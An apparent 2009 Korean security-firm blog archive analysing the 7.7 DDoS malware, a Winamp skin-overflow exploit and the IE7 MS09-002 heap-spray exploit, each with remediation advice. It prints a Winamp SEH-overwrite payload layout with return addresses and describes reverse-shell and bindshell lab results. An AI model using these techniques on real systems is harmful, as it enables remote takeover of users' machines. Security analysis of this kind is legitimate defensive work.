7.7 DDoS 분석


By minams (minams@a3sc.co.kr)
By Ju Se Hong (jsh@a3sc.co.kr)


 
I. 공격분석
7.7 DDoS 공격은 2009년 7월 4일 미국 주요사이트들을 대상으로 공격이 시작되었으며, 국내 최초공격은 7월 7일 PM 6~7시경 민간 및 공공 서비스에서 시작되었습니다. 이후, 정부, 공공, 민간기업 등을 주요대상으로 하여 7월 10일 00시까지 공격이 계속되었으며, "인터넷 대란 시즌2", "7.7 DDoS 공격"으로 불리고 있습니다.
7월14일 현재 DDoS 공격, 하드디스크 파괴, 대량메일 발송 등의 공격 매커니즘은 분석 되었으나, 아직 공격 클라이언트의 전파 경로 및 원인에 대한 분석은 이루어지지 않고 있습니다.


II. 공격 분석
7.7 DDOS 공격은 대상 및 공격을 최초 감염시킨 Msiexec.exe(Windows Installer)를 통해 다운받아 실행시키는 구조를 가지고 있었습니다. 다시 다운받은 악성코드들은 스스로 대상 및 공격코드를 생성하여 다양한 공격을 수행하고 있었습니다.


1. 개요

공격에 사용된 주요 파일과 역할 입니다.


[표 1] 분석 악성코드 및 역할

  

Msiexec.exe

최초 악성코드 전파 파일

msiexec1.exe

wmiconf.dll, uregvs.nls, vme.bat 생성 WmiConfig 서비스 등록

msiexec2.exe

uregvs.nls, vme.bat 생성

msiexec3.exe

uregvs.nls, vme.bat 생성

wmiconf.dll

ddos - GET Flooding 수행

mstimer.dll

mail 전송, 특정 조건에 의해 wversion.exe 실행

flash.gif

개의 실행파일(wversion.exe 포함) 가지고 있습니다.

uregvs.nls

ddos 공격대상 공격 시간 정보 포함

wmcfg.exe

wversion.exe 생성 Windows Timer Service(mstimer.dll) 서비스 등록

wversion.exe

특정 확장자를 가진 파일 하드디스크 파괴 수행

 

다음은 각 공격 모듈 별 도식도 입니다.


[그림 1] 7.7 DDOS 공격 도식도


2. 공격 기능별 분석

1) 최초감염
1. 최초Msiexec.exe(Windows Installer)를 감염시켜 해당 프로그램을 통해 msiexec1.exe, msiexec2.exe … 등의 악성파일을 다운로드 받아 실행시키게 됩니다.
 - Msiexec.exe(Windows Installer) bot agent와 유사한 기능을 하게 됩니다.



2) DDOS 공격
1. Msiexec.exe를 통해 다운받아 실행되는 msiexec1.exe을 실행하면 공격대상이 들어있는 파일(uregv.nls), 다운받아 실행한 msiexec1.exe를 삭제하는 스크립트 파일(vme.bat), 그리고 마지막으로 wmiconf.dll을 생성하여 윈도우 서비스에 등록시켜 uregv.nls에서 공격대상을 읽어 DDOS 공격을 수행하게 됩니다.


일부 msiexec2.exe등에는 wmiconf.dll 을 생성하는 코드가 포함되지 않고 미리 생성된 서비스를 이용하여 단순히 공격 대상 파일(uregv.nls)만 변경하는 역할만 하고 있었습니다.



3) 스팸메일 전송
변종이라 발견된 msiexec*.exe 중에는 wmcfg.exe를 생성 실행하고 있었으며, wmcfg.exe를 실행하게 되면, mstimer.dll을 생성하여 Windows Timer Service로 등록하여 스팸메일 전송 등의 공격을 수행하게 됩니다. 이외에 wversion.exe파일을 생성하게 됩니다.


4) 하드 디스크 파괴
wmcfg.exe 에 의해 생성된 wversion.exe 파일은 mstimer.dll에 의해 다운된 flash.gif의 일부와 합쳐져 하드디스크 파괴를 수행하게 됩니다. wversion.exe는 mstimer.dll에 의해 특정 조건(2009. 7. 10)이 만족할 경우 수행하게 되며, 로컬 하드디스크의 A~Z까지 읽어 MBR등을 파괴하게 됩니다. 파괴 전, doc, xml, ppt … 등 대부분의 중요한 확장자를 검사하여 파일을 암호화함으로 하드 디스크의 복구는 힘들게 됩니다.


III. 대응방안

1. DDoS 대응체계
DDoS에 대한 효과적 대응을 위해서, 공격에 대한 대응 체계 및 절차를 마련하고 신속한 대응 및 관련 기관간 공조를 위한 비상연락체계 확보가 필요합니다.
 


                                                                 [그림 2] DDoS 대응체계

2. PC 대응방안
도박, 불건전사이트 등 안전하지 않은 사이트의 접속은 피하고, 윈도우 최신 보안패치를 설치하며 바이러스 백신을 설치/운용하여야 합니다.
금번 DDoS 악성코드에 감염된 PC는 안전모드로 부팅(F8)하여 시스템 시간을 2009. 7. 10 이전으로 설정하고 재 부팅하여 최신 업데이트 된 백신을 이용하여 치료할 수 있습니다.

 
[별첨]. 주요 악성코드 분석

1. DDOS 공격(msiexec*.exe )

msiexec1.exe에는 wmiconf.dll을 생성하고 서비스를 등록하는 코드가 포함 되어 있었지만, msiexec2.exe와 msiexec3.exe은 단지 대상과 자신을 삭제하는vme.bat 파일을 만들어 실행하는 코드만 포함되어 있었습니다.

                                                                      [그림 3] msiexec1.exe


                                                    [그림 4] WMI Performance Configuration Service



msiexec1, msiexec2에서 생성되는 대상은 각자 달랐으며, msiexec1에 의해 생성된 대상에 우리나라가 포함되어 있지 않았습니다.


아래 목록은 2차 공격에 사용된 것으로 파악되는 공격 리스트(msiexec2.exe에서 생성) 입니다.

                                                         [그림 5] msiexec2 – uregvs.nls 생성


                                                                [그림 6] uregvs.nls – 공격대상


마지막으로 msiexec*.exe에서 생성된 vme.bat 파일은 다운받은 파일이 삭제가 될때까지 계속 삭제되도록 만들어져 있으며, 삭제가 되면 자신도 삭제하게 됩니다.

 :L1
del "C:\Documents and Settings\...\msiexec\msiexec2.exe"
if exist "C:\Documents and Settings\...\msiexec\msiexec2.exe" goto L1
del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\vme.bat"

                                                                [그림 7] vme.bat – 생성파일 삭제



2. DDOS 공격(wmiconf.dll)

wmiconf.dll은 msiexec1.exe를 통해 생성되었으며, WmiConfig라는 서비스로 등록되어 있으며, 해당 서비스에는 DDOS 공격에 사용한GET Flooding 루틴이 포함되어 있습니다. 공격대상 파일(uregvs.nls)를 읽어 해당 대상으로 공격을 시도하게 됩니다.

다음은 공격대상 파일(uregvs.nls)를 읽어 들여 공격에 사용할 HTTP GET packet을 만들어 내는 코드 입니다.
효과적인 공격효과를 위해 response를 캐시에 저장하지 못하도록 Cache-Control: no-store, must-revalidate를 해더에 추가하는 코드가 포함되어 있습니다.


                                                           [그림 8] wmiconf.dll – get flooding


3. 로컬 디스크 파괴(wmcfg.exe)
wmcfg.exe는 악성 메일을 전파하는 Windows Timer Service(mstimer.dll)를 생성하고, 악성코드에 의해 생성된 파일 등을 삭제하는 루틴이 포함되어 있습니다.
 

아래는 Service를 등록하는 코드와 윈도우 실제 실행되어 등록된 화면입니다.


                                                            [그림 9] wmiconf.dll – get flooding


                                                           [그림 10] Windows Timer Service



4. 로컬 디스크 파괴(mstimer.dll)

Wmcfg.exe에 의해 생성된 mstimer.dll은 20byte의 첨부파일이 담긴 메일을 전송하는 기능을 가지고 있으며, 인터넷을 통해 다운받은 flash.gif에는 실행파일이 두 개의 실행파일이 들어있으며, 그 중 하나가 wversion.exe이며 특정 조건을 만족하게 되면 wversion.exe을 실행시키게 됩니다.


                                                   [그림 11] flash.gif파일 안의 wversion.exe


flash.gif를 다운받으며, 이를 통해 wversion.exe을 실행시키게 됩니다.
또한, mstimer.dll이 보낸 메일은 다음과 같습니다. Memory.rar라는 이름을 갖은 파일은 20byte로 네트워크에 부하를 주기 위한 것으로 보여지고 있습니다.

                                                                   [그림 12] mstimer.dll – mail

 


5. 로컬 디스크 파괴(wversion.exe)

wversion.exe에는 실제 하드디스크의 MBR등을 “Memory of the Independence Day”로 Overwrite(로컬 하드디스크를 파괴하는 기능)하게 됩니다.


 

                                                            [그림 13] C 드라이브 MBR 파괴



※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

7.7 DDoS 분석

취약점 분석/2009년 이후 2009. 7. 14. 14:09 Posted by TEAMCR@K

7.7 DDoS 분석


By minams (minams@a3sc.co.kr)

 
I. 개요
7.7 DDOS 공격은 2009년 7월 4일 미국 주요사이트들을 대상으로 공격이 시작되었으며, 국내 최초공격은 7월 7일 PM 6~7시경 네이버 메일(mail.naver.com) 서비스에서 발견되었습니다. 이후, 정부, 대기업 등을 주요대상으로 하여 7월 10일 00시까지 공격이 계속되었으며, "인터넷 대란 시즌2", "7.7 DDOS 공격"으로 불리고 있습니다.


II. 공격 분석
7.7 DDOS 공격은 대상 및 공격을 최초 감염시킨 Msiexec.exe(Windows Installer)를 통해 다운받아 실행시키는 구조를 가지고 있었습니다. 다시 다운받은 악성코드들은 스스로 대상 및 공격코드를 생성하여 다양한 공격을 수행하고 있었습니다.


공격에 사용된 주요 파일과 역할 입니다.


[표 1] 분석 악성코드 및 역할

  

Msiexec.exe

최초 악성코드 전파 파일

msiexec1.exe

wmiconf.dll, uregvs.nls, vme.bat 생성 WmiConfig 서비스 등록

msiexec2.exe

uregvs.nls, vme.bat 생성

msiexec3.exe

uregvs.nls, vme.bat 생성

wmiconf.dll

ddos - GET Flooding 수행

mstimer.dll

mail 전송, 특정 조건에 의해 wversion.exe 실행

flash.gif

개의 실행파일(wversion.exe 포함) 가지고 있습니다.

uregvs.nls

ddos 공격대상 공격 시간 정보 포함

wmcfg.exe

wversion.exe 생성 Windows Timer Service(mstimer.dll) 서비스 등록

wversion.exe

특정 확장자를 가진 파일 하드디스크 파괴 수행

 

다음은 각 공격 모듈 별 구성도 입니다.


[그림 1] 7.7 DDOS 공격 흐름



[ 최초감염 ]

1. 최초Msiexec.exe(Windows Installer)를 감염시켜 해당 프로그램을 통해 msiexec1.exe, msiexec2.exe … 등의 악성파일을 다운로드 받아 실행시키게 됩니다.
 - Msiexec.exe(Windows Installer) bot agent와 유사한 기능을 하게 됩니다.



[ DDOS 공격 ]
1. Msiexec.exe를 통해 다운받아 실행되는 msiexec1.exe을 실행하면 공격대상이 들어있는 파일(uregv.nls), 다운받아 실행한 msiexec1.exe를 삭제하는 스크립트 파일(vme.bat), 그리고 마지막으로 wmiconf.dll을 생성하여 윈도우 서비스에 등록시켜 uregv.nls에서 공격대상을 읽어 DDOS 공격을 수행하게 됩니다.


2. 일부 msiexec2.exe등에는 wmiconf.dll 을 생성하는 코드가 포함되지 않고 미리 생성된 서비스를 이용하여 단순히 공격 대상 파일(uregv.nls)만 변경하는 역할만 하고 있었습니다.



[ 스팸메일 전송 ]
변종이라 발견된 msiexec*.exe 중에는 wmcfg.exe를 생성 실행하고 있었으며, wmcfg.exe를 실행하게 되면, mstimer.dll을 생성하여 Windows Timer Service로 등록하여 스팸메일 전송 등의 공격을 수행하게 됩니다. 이외에 wversion.exe파일을 생성하게 됩니다.


[ 하드 디스크 파괴 ]
wmcfg.exe 에 의해 생성된 wversion.exe 파일은 mstimer.dll에 의해 다운된 flash.gif의 일부와 합쳐져 하드디스크 파괴를 수행하게 됩니다. wversion.exe는 mstimer.dll에 의해 특정 조건(2009. 7. 10)이 만족할 경우 수행하게 되며, 로컬 하드디스크의 A~Z까지 읽어 MBR등을 파괴하게 됩니다. 파괴 전, doc, xml, ppt … 등 대부분의 중요한 확장자를 검사하여 파일을 암호화함으로 하드 디스크의 복구는 힘들게 됩니다.



 
II. 주요 악성코드 분석

1. DDOS 공격(msiexec*.exe )

msiexec1.exe에는 wmiconf.dll을 생성하고 서비스를 등록하는 코드가 포함 되어 있었지만, msiexec2.exe와 msiexec3.exe은 단지 대상과 자신을 삭제하는vme.bat 파일을 만들어 실행하는 코드만 포함되어 있었습니다.

                                                                      [그림 2] msiexec1.exe


                                                    [그림 3] WMI Performance Configuration Service



msiexec1, msiexec2에서 생성되는 대상은 각자 달랐으며, msiexec1에 의해 생성된 대상에 우리나라가 포함되어 있지 않았습니다.


아래 목록은 2차 공격에 사용된 것으로 파악되는 공격 리스트(msiexec2.exe에서 생성) 입니다.

                                                         [그림 4] msiexec2 – uregvs.nls 생성


                                                                [그림 5] uregvs.nls – 공격대상


마지막으로 msiexec*.exe에서 생성된 vme.bat 파일은 다운받은 파일이 삭제가 될때까지 계속 삭제되도록 만들어져 있으며, 삭제가 되면 자신도 삭제하게 됩니다.

 :L1
del "C:\Documents and Settings\...\msiexec\msiexec2.exe"
if exist "C:\Documents and Settings\...\msiexec\msiexec2.exe" goto L1
del "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\vme.bat"

                                                                [그림 6] vme.bat – 생성파일 삭제



2. DDOS 공격(wmiconf.dll)

wmiconf.dll은 msiexec1.exe를 통해 생성되었으며, WmiConfig라는 서비스로 등록되어 있으며, 해당 서비스에는 DDOS 공격에 사용한GET Flooding 루틴이 포함되어 있습니다. 공격대상 파일(uregvs.nls)를 읽어 해당 대상으로 공격을 시도하게 됩니다.

다음은 공격대상 파일(uregvs.nls)를 읽어 들여 공격에 사용할 HTTP GET packet을 만들어 내는 코드 입니다.
효과적인 공격효과를 위해 response를 캐시에 저장하지 못하도록 Cache-Control: no-store, must-revalidate를 해더에 추가하는 코드가 포함되어 있습니다.


                                                           [그림 7] wmiconf.dll – get flooding


3. 로컬 디스크 파괴(wmcfg.exe)
wmcfg.exe는 악성 메일을 전파하는 Windows Timer Service(mstimer.dll)를 생성하고, 악성코드에 의해 생성된 파일 등을 삭제하는 루틴이 포함되어 있습니다.
 

아래는 Service를 등록하는 코드와 윈도우 실제 실행되어 등록된 화면입니다.


                                                            [그림 8] wmiconf.dll – get flooding


                                                           [그림 9] Windows Timer Service



4. 로컬 디스크 파괴(mstimer.dll)

Wmcfg.exe에 의해 생성된 mstimer.dll은 20byte의 첨부파일이 담긴 메일을 전송하는 기능을 가지고 있으며, 인터넷을 통해 다운받은 flash.gif에는 실행파일이 두 개의 실행파일이 들어있으며, 그 중 하나가 wversion.exe이며 특정 조건을 만족하게 되면 wversion.exe을 실행시키게 됩니다.


                                                   [그림 10] flash.gif파일 안의 wversion.exe


flash.gif를 다운받으며, 이를 통해 wversion.exe을 실행시키게 됩니다.
또한, mstimer.dll이 보낸 메일은 다음과 같습니다. Memory.rar라는 이름을 갖은 파일은 20byte로 네트워크에 부하를 주기 위한 것으로 보여지고 있습니다.

                                                                   [그림 11] mstimer.dll – mail

 


5. 로컬 디스크 파괴(wversion.exe)

wversion.exe에는 실제 하드디스크의 MBR등을 “Memory of the Independence Day”로 Overwrite(로컬 하드디스크를 파괴하는 기능)하게 됩니다.


 

                                                            [그림 12] C 드라이브 MBR 파괴



III. 조치

- 안전모드로 부팅(F8)하여 시스템 시간을 2009. 7. 10 이전으로 설정하고 재 부팅하여 최신 업데이트 된 백신을 이용하여 치료할 수 있습니다.
- 일반 PC 사용자들의 백신 실시간 업데이트 및 운영체제 업데이트를 생활화 해야 합니다.

백신 다운로드 : http://v3asec.v3webhard.com/ddos/vaccine/v3filecleanex.exe


※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

 

Winamp =< 5.541 Overflow 취약점 보안 권고안

취약점 분석/2009년 이후 2009. 3. 24. 16:02 Posted by 알 수 없는 사용자

▷ 작성자 : indra (indra@a3security.com)
▷ 편집자 : indra (indra@a3security.com)


Winamp =< 5.541 Overflow 취약점 보안 권고안

 

                                                               By indra@a3security.com
(A.K.A 1ndr4)

I.   취약점 개요

연구 대상

Winamp 5.541 버전의 Skin 오버플로우 취약점

문서 작성일

2009.03.16

문서 버전

V0.1

벤더

Winamp

벤더 URL

http://www.winamp.com


1.
     
요 약

Winamp
Windows OS에서 동영상 음원 파일을 재생할 있게 주는 소프트웨어로, 09 3 5자로 취약점 PoC 코드가 공개되었다. Winamp 5.541버전 혹은 이전 버전에서 Skin 적용 , 내부 기능함수의 문자열 길이를 체크하지 않아 Overflow 발생하며, 이를 이용해 악의적인 Skin 적용할 경우, 취약점에 노출된다. 문제가 모듈은 gen_ff.dll 파일이며, 현재 Winamp 공식 홈페이지에서는 취약점이 패치 5.551 버전으로 업데이트 상태다.

1.       적용 대상 시스템

- Winamp 5.541 버전을 포함한 하위 버전

 

II.   대상 세부 분석

1.   분석 내용
공개된
PoC Code는 perl script로 짜여 져 있으며, Winamp의 Skin을 생성하는 형태로 동작한다.
다음 그림은 PoC Code를 이용하여 생성한 Skin파일의 일부 내용이다.


                                      [그림 1] 공격 Skin파일의 일부 내용

그림과 같이 Skin파일은 바이너리 파일로 만들어져 있으며, 해당 파일은 “MAKI Script” 라는 스크립트 언어를 컴파일 하여 얻어낸 결과물이다
.
MAKI Script Compiler 대해서는 다음의 URL 참조할 있다.

MAKI Script - http://dev.winamp.com/wiki/Modern_Skin:_Skin_Scripting

MAKI Script Compiler - http://forums.winamp.com/showthread.php?threadid=168310


MAKI Script
Syntax C/C++ 매우 흡사한 형태를 지니고 있다.
다음 그림은 MAKI Script 예제 코드를 나타낸 화면이다
.


                                          [그림 2] MAKI Script의 예제코드

dkrdml 파일에서 “getRuntimeVersion” 문자열 뒤에 문자열의 종료를 뜻하는 NUL 문자가 삽입되어 있지 않은 “\x41” 문자가 나열되어 있다. 이것은 명백히 의도적인Overflow 일으키려는 시도로 생각할 있다
.
다음의 프로그램은 컴파일 MAKI Script Pseudo-Code 구현 있다
.

MAKI De-Compiler - http://www.rengels.de/maki_decompiler/ 

다음 그림은 PoC Code에서 생성된 악의적인 Skin파일을 De-Compile 한 화면이다.


                         [그림 3] 악의적인 Skin파일을 De-Compile 한 화면

본래의 PoC Code “getRuntimeVersion” 문자열 뒤에 문자열 종료 코드가 존재하지 않는 형태로, De-Compile 되지 않아 공격코드 부분을 지우고 De-Compile 화면이다. De-Compile 형태를 보아 어느 부분에서 취약점이 존재하는지 있다
.
공개된 PoC Code 분석해 보면 공격에 필요한 Payload 다음과 같이 구성되었다는 것을 있다.

>>> --snip--
[ 314 bytes ] => “AAAA…”
[   4bytes ] => 0x414112EB  /* JMP 0x12 */
[   4bytes ] => 0x14F01011  /* Common Module Routine (Return Address) */
[   8bytes ] => 0x90909090… /* NOP */
[   4bytes ] => 0x120199F8  /* JMP ESP */
[  12bytes ] => 0x90909090… /* NOP */
[ 338 bytes ] => SHELLCODE
[ 128 bytes ] => “AAAA…”
>>> --snip--

같은 Payload 참조하며, OllyDBG 이용해 로드 Winamp PoC Code 적용하여 보았다.
아래의 그림은 실행된 PoC Code 의해 SEH 값이 변경된 화면이다
.


                             [그림 4] PoC Code 실행에 의해 SEH값이 변경 된 화면

그림에서 SEH 0x14F01011, Pointer to next SEH 0x414112EB 변경되었다. SEH Structured Exception Handler 약자로, 예외처리 핸들러를 의미한다. 해당 SEH핸들러를 변조할 있다면, 고의적으로 Exception 에러를 발생시켜 원하는 데이터 영역을 실행 있다
.
다음 그림은 Exception 에러가 발생 화면이다.

                                     [그림 5] Exception 에러가 발생 한 화면

위 그림에서 실행되는 코드는
PUSH DWORD PTR DS:[EDI+4]
이나 EDI 레지스터의 값이 0x00000000 되어 있다. 코드는 DS:[0x00000004] 접근을 시도하지만, 접근할 없는 메모리 영역이므로 이에 의해 Exception 에러가 발생하게 된다
.
다음 그림은 고의적인 Exception 에러에 의해 실행되는 상황을 캡쳐 화면이다
.


                         [그림 6] Exception 핸들러에 의해 shellcode가 실행되는 화면

코드의 동작을 조금 자세히 살펴보면 현재 실행되고 있는 주소는 0x7C9332A6이며, ECX 레지스터에 저장되어 있는 주소에 대해 CALL 명령을 실행한다. ECX 레지스터에는 0x14F01011 주소가 저장되어 있으며, 0x14F01011 주소는 POP 실행하여 ESP 레지스터에서 (32bit OS 기준) 0x08 만큼을 Subtraction , return 한다. , Next SEH 잡혀 있는 0x00B4B354 주소로 이동하여 해당 영역의 코드를 실행하는데 0x00B4B354 영역에는 Encoding shellcode Decoding 하여 수행하는 코드가 존재한다.

참고로 0x14F01011 주소에 대해 정리하면 해당 주소는 aacPlusDecoder.w5s라는 Winamp 시스템 파일에 맵핑되는 주소로, Winamp 종속성을 가지는 주소라는 점을 기억해야 한다.
aacPlusDecoder.w5s 파일의 0x14F01011 해당하는 코드 영역은 static 하게 정의되어 있고, 이러한 내용은 Winamp 설치되어 있는 모든 환경에서 동일한 코드 영역의 주소로 동일한 코드의 실행을 보장한다는 것을 의미한다. 따라서 코드를 이용하여 코드의 흐름을 변경하고, shellcode 실행 있다는 것은 exploit 주석 문에도 쓰여진 것처럼 플랫폼 Service Pack, Language Pack 등에 구애 받지 않고 Universal 하게 shellcode 실행 있다는 것을 증명할 있다.
다음 그림은 위 취약점을 공격하고 공개되어 있는 Reverse Shellcode 이용하여 Connect-Back 수행 화면이다.


             [그림 7] 취약점으로 공격당한 PC의 관리권한을 Connect-Back으로 연결 한 화면

2.   위험 분석
현재 공개된 exploit은 Universal shellcode의 실행을 가능하게 하기 때문에 플랫폼 등의 환경에 관계없이 취약점에 노출될 경우 공격의 실패 가능성이 없으며 공격자의 의지대로 권한을 빼앗기거나 기밀자료가 유출될 수 있는 가능성이 높다.

III. 대응 방안

1.   보안 대책

가.  공식 패치

취약점과 관련하여 현재 winamp 공식 홈페이지에서 배포되고 있으며, 패치된 버전은 5.551 버전이다.
 
Winamp 공식 홈페이지 : http://www.winamp.com

Copyright(c) 1998-2009 A3 Security ,LTD 

현재 ㈜에이쓰리시큐리티에서 테스트 분석 중에 있으며, 문서는 계속 업데이트될 것입니다. 문서는 보안취약점으로 인한 피해를 최소화하는 도움이 되고자 작성되었으나, 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다
 

▷ 작성자 : minams (minams@a3sc.co.kr)
▷ 편집자 : minams (minams@a3sc.co.kr)


MS Internet Explorer 7 Memory Corruption
(MS09-002)

Exploit 시연 동영상


By
minams@a3security.com

I. 동영상 개요

본 동영상은 보안의식 강화를 위해 (주)에이쓰리시큐리티컨설팅 지식사업팀(teamCRAK)에서 제작한
MS Internet Explorer Memory Corruption Exploit 시연 동영상입니다.

취약점 : MS Internet Explorer Memory Corruption (MS090-002)
취약점 영향 및 대응방안 : 'MS Internet Explorer 7 Memory Corruption (MS09-002) 취약점 보안 권고안' 참조



II. 동영상 시나리오

공격자와 일반사용자 구성
  - Victim(일반 사용자) - 192.168.31.131 - Guest OS
  - Attacker   (공격자) - 192.168.31.1 - Host OS

1. 일반 사용자가 공격자가 구성한 악의적인 웹 페이지 접근. (http://192.168.31.1/ms09-02/exploit.html)

2. 일반 사용자의 Internet Explorer가 멈추고, background로 28876 port Listening. (Bind Shell 실행)

3. 공격자가 victim(192.168.31.131) pc의 28876번 포트로 접근. (일반 사용자의 shell 획득)

4. 공격자에 의해 일반사용자의 PC가 제어당함. (계정생성, 파일 삭제(생성,복사) , 프로그램 실행, 컴퓨터 종료 등 가능)

5. ( 공격이 시작되기전 으로 복원 ) -> 보안 업데이트

6. 패치 후 -> 일반 사용자가 공격자가 구성한 악의적인 웹 페이지 접근. (http://192.168.31.1/ms09-02/exploit.html)


Copyright(c) 1998-2009 A3 Security ,LTD 

현재 ㈜에이쓰리시큐리티에서 테스트 분석 중에 있으며, 문서는 계속 업데이트될 것입니다. 문서는 보안취약점으로 인한 피해를 최소화하는 도움이 되고자 작성되었으나, 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다 

MS Internet Explorer 7 Memory Corruption(MS09-002)

취약점 분석/2009년 이후 2009. 3. 3. 13:52 Posted by 알 수 없는 사용자

▷ 작성자 : nohpro (nohpro@a3sc.co.kr)
▷ 편집자 : nohpro (nohpro@a3sc.co.kr)


MS Internet Explorer 7 Memory Corruption
(MS09-002)

취약점 보안 권고안


By
nohpro@a3security.com
(A.K.A nohpro)

I. 취약점 개요

취약점

MS Internet Explorer Memory Corruption (MS090-002)

A3SC Advisory ID

A3AID09-

위험 등급

긴급

최초 발표일

2009.02.18

문서 작성일

2009.02.27

벤더

Microsoft

현재상태(패치여부)

패치

1. 요 약
본 취약점은 2009년 2월 18일 PoC 가 공개되었으며 2월 20일 Exploit 이 공개되었습니다. Internet Explorer 7을 사용하는 시스템에서 해당 취약점을 이용한 공격이 이루어질 수 있습니다. 취약점이 존재하는 Explorer을 사용하는 사용자가 조작된 페이지에 접근 할 경우 임의의 코드를 실행 합니다. 해당 취약점으로 인해 원격코드 실행이 가능합니다.
본 보안 권고는 Windows XP 서비스 팩 2 한글버전(Internet Explorer 7)을 대상으로 분석하였으며, 현재 해당 취약점을 이용한 악성코드들이 전파되고 있고, 현재 bindshell을 맺을 수 있는 exploit이 공개된 상태입니다.


2. 대상시스템
해당 취약점에 영향을 받는 시스템 목록은 아래와 같으며, Windows XP 서비스 팩2 한글 버전(Internet Explorer 7)에서 임의의 코드실행 취약점이 확인되었습니다. 

Internet Explorer 7

-         Windows XP 서비스 2 Windows XP 서비스 3

-         Wikdows XP Professional x64 Edition Windows XP Professional x64 Edition 서비스 2

-         Windows Server 2003 서비스 1 Windows Server 2003 서비스 2

-         Windows Server 2003 x64 Edition Windows Server 2003 x64 Edition 서비스팩 2

-         Windows Server 2003 SP1(Itanium 기반 시스템용) Windows Server 2003 SP2(Itanium 기반 시스템용)

-         Windows Vista Windows Vista 서비스 1

-         Windows Vista x64 Edition Windows Vista x64 Edition 서비스 1

-         Windows Server 2008(32비트 시스템용)

-         Windows Server 2008(x64 기반 시스템용)

-         Windows Server 2008(Itanium 기반 시스템용)



3. 심각도 및 취약점 확인

취약점 영향

취약점 위험도

비정상 실행 원격코드실행




II. 취약점 세부분석

1. 취약점 내용
해당 취약점은 Internet Explorer 7을 사용하는 시스템에서 발생하는 취약점입니다. Internet Explorer가 CollectGarbage() 에 의해 삭제된 객체에 접근할 경우 원격코드 실행이 가능합니다. heap spray를 이용하여 메모리 상에 nopslide인 0x0c0c0c0c를 채워서 EIP가 shellcode 주소를 가리키게 하여 원격코드를 실행할 수 있는 취약점입니다.


2. 공격 분석
다음은 milw0rm에 공개된 MS09-002 취약점 PoC 코드 일부입니다.

URL) http://www.milw0rm.com/exploits/8077

다음의 PoC코드를 보면, 변수 c 에는 문자열이 입력되어 있습니다(exploit code 에서는 변수 c에 shellcode를 입력하게 됩니다). Heap영역에 spray할 size(val ls)를 정해주고, heap 영역에는 lh(nopslide) + c(shellcode)를 할당하게 됩니다. 



[그림 1] PoC 코드

다음의 코드를 보게 되면, o1객체를 생성하고 이를 cloneNode 메서드를 사용하여 o2로 복사를 합니다. o1.clearAttributes()에 의해 o1객체의 모든 값을 제거합니다. o1=null 에 의해 o1객체를 null로 초기화 시키고, collectGarbage()를 호출하여 o1객체를 삭제하게 되면 해당 메모리를 계속 사용 가능하게 됩니다. 이로 인해 heap영역에 nopslide가 채워지게 되고 최종적으로 shellcode가 실행됩니다.  


[그림 2] PoC 코드

 다음은 heap spray에 의해 메모리 영역이 nopslide인 0x0C 값으로 채워진 화면입니다.

[그림 3] heap spray

다음은 heap spray 코드가 실행된 화면입니다.

[그림 4] shellcode가 실행되는 메모리 영역

다음은 변수 c에 계산기를 실행하는 shellcode를 삽입한 exploit입니다. 

[그림 5] 계산기가 실행되는 shellcode

다음과 같이 Heap 영역에 nopslide + shellcode를 할당하여 최종적으로 EIP가 shellcode를 가리켜서 계산기가 실행됩니다.

[그림 6] shellcode로 인해 계산기 실행


다음은 2월 20일 milw0rm에 공개된 exploit입니다. 해당 exploit은 변수 c에 TCP 28876 port로 bindshell을 맺는 shellcode가 포함되어 있습니다.

URL) http://www.milw0rm.com/exploits/8079

[그림 7] bindshell을 맺는 shellcode


다음은 해당 exploit을 실행하기 전 사용자의 네트워크 상태입니다.

[그림 8] 사용자의 네트워크 상태

다음은 MS09-002 취약점을 이용한 시스템에 접근하는 화면입니다.  
 
[그림 9] MS09-002 공격

해당 URL 에 접근 할 경우 bind shell을 맺어 TCP 28876 port로 LISTENING되는 화면입니다.
 
[그림 10] 28876 port로 bindshell

다음은 사용자의 시스템에 28876 port로 접속을 시도하는 화면입니다.

[그림 11] 28876 port로 Telnet 접속


다음은 사용자의 시스템으로 28876 port로 접속한 화면입니다.
 


[그림 12] Telnet 접속 성공



3. 위험 분석
MS09-002 취약점을 이용한 웜/바이러스가 유포 중이기 때문에, Internet Explorer 7을 사용중인 일반사용자 및 서버관리자 중 윈도우 패치를 하지 않은 사용자는 시스템이 장악 당할 수 있습니다.



III. 대응 방안

1. 보안 대책
현재 MS09-002 취약점에 대한 패치가 공개된 상태이기 때문에 최신의 패치를 권고합니다.

2. 관련 사이트
본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같습니다.

http://www.microsoft.com/korea/technet/security/Bulletin/MS09-002.mspx
http://www.milw0rm.com/exploits/8077
http://www.milw0rm.com/exploits/8079


※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

▷ 작성자 : 붉은반점(r3dp0int@a3sc.co.kr)
▷ 편집자 : 니키 (
ngnicky@a3sc.co.kr)



FreeBSD 7.0-RELEASE Telnet Daemon
Local Privilege Escalation Exploit



취약점

FreeBSD Telnetd Remote Code Execution 취약점

A3SC Advisory ID

 

위험등급

최초 발표일

2009 2

문서 작성일

2009 2 25

벤더

FreeBSD

